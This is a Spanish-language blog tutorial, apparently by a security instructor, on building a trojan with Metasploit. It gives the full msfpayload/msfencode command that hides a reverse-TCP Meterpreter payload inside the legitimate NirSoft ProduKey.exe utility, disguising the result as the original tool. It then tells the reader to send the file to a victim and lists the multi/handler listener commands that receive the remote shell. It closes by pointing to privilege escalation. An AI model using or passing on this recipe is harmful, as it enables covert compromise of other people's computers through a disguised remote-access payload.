Crear un Troyano utilizando Metasploit Framework

  • Posted on: 26 August 2014
  • By: ReYDeS

Un caballo de Troya o comúnmente conocido como Troyano, es uno de los diversos tipos de malware que afectan a las computadoras. Estos son particularmente interesantes a razón de utilizar una forma de Ingeniería Social, pues a primera vista parecen ser inofensivos o hasta beneficiosos para el sistema, con la intención de incrementar las posibilidades de ser ejecutados o instalados. Los Troyanos pueden algunas veces comportarse como Backdoors o Puertas Traseras, contactando un controlador el cual tiene acceso no autorizado al sistema afectado.

Para la presente práctica se creará un Troyado utilizando Metasploit Framework, el cual permitirá incrustar un “Payload” o Carga útil dentro de la utilidad ProduKey de NirSoft, el cual muestra el ProductID de Windows, Microsoft Office, Exchange Serrver, y SQL Server instalado en la computadora donde se ejecuta.

Se procede a descargar y descomprimir el archivo ProducKey desde el sitio web de NirSoft

Se utiliza la herramienta msfpayload incluida en Metasploit Framework para inyectar un Payload o Carga útil dentro del ejecutable ProduKey.exe.

En el comando msfpayload la opción LHOST define la dirección IP local, mientras que LPORT define el puerto local. Es decir la dirección IP y Puerto hacia el cual la victima realizará la conexión. Para el comando msfencode, la opción “-e” define el codificador a utilizar, la opción “-c” define el número de veces en que se codificarán los datos, la opción “-t” define el formato de salida, la opción “-x” especifica una plantilla ejecutable alterna, y la opción “-o” define el archivo de salida.


# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 1 -t exe -x ./ProduKey.exe -o /tmp/ProduKey.exe

El proceso se ha realizado correctamente y se ha generado un nuevo archivo con el mismo nombre, pero que incluye el "Payload" incrustado. Al realizar un listado de archivos, anotar el tamaño de cada uno de los archivos, tanto el archivo original como troyanizado "parecen" ser iguales.

Para identificar de manera sencilla la diferencia entre estos dos archivos se genera el hash SHA-1 de cada uno de ellos.


# sha1sum /tmp/ProduKey.exe ProduKey.exe

El archivo troyanizado debe ser enviado a la victima utilizando cualquier mecanismo conocido.

Dado que se ha definido un Payload Reverso de Meterpreter, se requiere configurar un manejador para la conexión originada desde la victima hacia la dirección IP asignada al sistema Kali Linux.


msf> use exploit/multi/handler
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.0.12
msf> set LPORT 443
msf> run

Al ejecutarse el archivo de nombre "ProduKey.exe", en Kali Linux se presentará la información de la conexión establecida desde el sistema de la victima.

Dependiendo del privilegios del usuario que ejecuta el archivo, es factible obtener privilegios de Administrador, caso contrario se puede intentar acciones de post-explotación, como un escalamiento de privilegios.

Fuentes:

http://www.antivirus.com/security-software/definition/trojan-horse/
http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29
http://www.offensive-security.com/metasploit-unleashed/Backdooring_EXE_F...
http://www.nirsoft.net/utils/product_cd_key_viewer.html

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense